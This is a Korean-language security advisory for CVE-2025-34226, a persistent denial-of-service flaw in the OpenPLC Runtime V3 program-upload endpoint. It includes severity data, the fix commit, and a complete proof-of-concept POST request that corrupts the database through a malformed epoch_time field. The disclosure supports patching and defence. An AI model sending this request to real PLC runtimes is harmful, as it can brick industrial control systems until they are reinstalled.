
OpenPLC Runtime에는 /upload-program-action 엔드포인트에 지속적 서비스 거부(DoS) 취약점이 존재합니다.
| 필드 | 값 |
|---|---|
| CVE ID | CVE-2025-34226 |
| 영향 대상 | OpenPLC Runtime V3 |
| 수정 버전 | (커밋) 095ee09623dd229b64ad3a1db38a901a3772f6fc |
| 심각도 | 높음 |
| CVSS 4.0 | CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:L/VA:H/SC:N/SI:N/SA:N 7.1 (높음) |
| CWE | CWE-664 Improper Control of a Resource Through Its Lifetime, CWE-20 Improper Input Validation |
OpenPLC Runtime는 /upload-program-action 엔드포인트에서 지속적 서비스 거부(DoS) 취약점의 영향을 받습니다.
프로그램 업로드 중 epoch_time 매개변수를 조작하면 낮은 권한의 인증된 사용자가 백엔드 데이터베이스를 손상시킬 수 있습니다.
이 손상은 처음에는 중요한 페이지들을 비활성화하고, 결국 전체 런타임이 시작되지 못하게 하여 애플리케이션을 재설치할 때까지 벽돌 상태로 만들 수 있습니다.
/upload-program-action 엔드포인트는 검증 없이 데이터베이스에 직접 기록되는 epoch_time 필드를 허용합니다.
이 필드가 조작된 또는 무의미한 값(예: 1758627838 또는 잘못된 형식의 데이터)으로 설정되면 OpenPLC는 일관되지 않은 상태를 저장합니다.
런타임 리로드 또는 재부팅 시 애플리케이션이 손상된 행을 쿼리하여 NoneType 객체를 만나게 되고 치명적인 크래시가 발생합니다(TypeError: 'NoneType' object is not subscriptable).
POST /upload-program-action HTTP/1.1
Host: TARGET:8080
Content-Type: multipart/form-data; boundary=----BOUNDARY
Cookie: session=[valid-session-cookie]
------BOUNDARY
Content-Disposition: form-data; name="prog_name"
test
------BOUNDARY
Content-Disposition: form-data; name="prog_descr"
test
------BOUNDARY
Content-Disposition: form-data; name="prog_file"; filename="demo.st"
Content-Type: text/plain
PROGRAM demo
END_PROGRAM
------BOUNDARY
Content-Disposition: form-data; name="epoch_time"
"Just edit here and it will work (e.g "Hello !")"
------BOUNDARY--
/programs를 통해 프로그램을 업로드합니다./programs를 관찰하면 더 이상 작동하지 않는 것을 볼 수 있습니다.발견자: Eyodav